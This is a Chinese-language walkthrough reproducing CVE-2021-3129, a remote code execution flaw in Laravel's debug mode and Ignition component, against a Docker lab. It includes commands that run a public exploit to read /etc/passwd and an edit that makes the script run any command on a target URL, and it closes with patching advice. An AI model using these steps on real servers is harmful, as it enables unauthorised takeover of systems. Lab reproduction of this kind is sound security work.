CVE-2021-3129 Laravel Debug mode 遠程代碼執行漏洞復現
0x00 簡介
Laravel是一套簡潔、優雅的PHP Web開發框架(PHP Web Framework),旨在實現的Web軟件的MVC架構,它可以讓開發者從面條一樣雜亂的代碼中解脫出來,幫助構建一個完美的網絡APP,而且每行代碼都可以簡潔、富于表達力。
在Laravel中已經具有了一套高級的PHP ActiveRecord實現 -- Eloquent ORM。它能方便的將“約束(constraints)”應用到關系的雙方,這樣開發者就具有了對數據的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查詢構造器(query-builder)的所有方法。
0x01 漏洞概述
Laravel <= 8.4.2 存在遠程代碼執行漏洞,當Laravel開啟了Debug模式時,由于Laravel自帶的2.5.2之前的Ignition功能的某些接口和函數存在過濾不嚴,未經過身份驗證的遠程攻擊者可以發起惡意請求,通過構造惡意Log文件等方式觸發phar反序列化,從而造成遠程代碼執行,控制服務器。
0x02 影響版本
Laravel<=8.4.2 Ignition<2.5.2
0x03 環境搭建
1.使用github已經搭建好的環境進行復現。
gitclone git://github.com/SNCKER/CVE-2021-3129

2.切換到剛剛下載的目錄,執行以下命令即可自動完成環境搭建和啟動。
docker-compose up -d

3.瀏覽器訪問 http://192.168.141.131:8888,出現如下界面。

點擊Generate app key,發送請求,在配置文件中配置了一個加密key。

再刷新一下界面,出現以下內容即搭建成功。

0x04 漏洞復現
1.github上的環境附帶exp,使用vim打開查看,其默認目標為本地,執行"cat /etc/passwd"命令


2.在執行exp之前,需要下載phpggc工具,phpggc要和exploit.py在放同一文件夾內
gitclone git://github.com/ambionics/phpggc.git

3.執行如下代碼,即可默認查看 /etc/passwd 文件
python3 exploit.py

4.簡單修改一下 exploit.py 腳本即可執行任意命令
Vim打開腳本,首先在exploit.py開頭import sys庫

主函數改為如下內容(注意縮進)
args= sys.argv url= args[1] command= args[2] Exp(url, command)

運行如下指令,第1個參數即為目標ip,第2個參數即為想要執行的命令
python3 exploit.py http://127.0.0.1:8888 'ifconfig'

0x05 防護建議
1.使用白名單限制相關web項目的訪問來降低風險;
2.將 Laravel 框架升級至8.4.3及其以上版本,或者將facade ignition組件升級至 2.5.2 及其以上版本。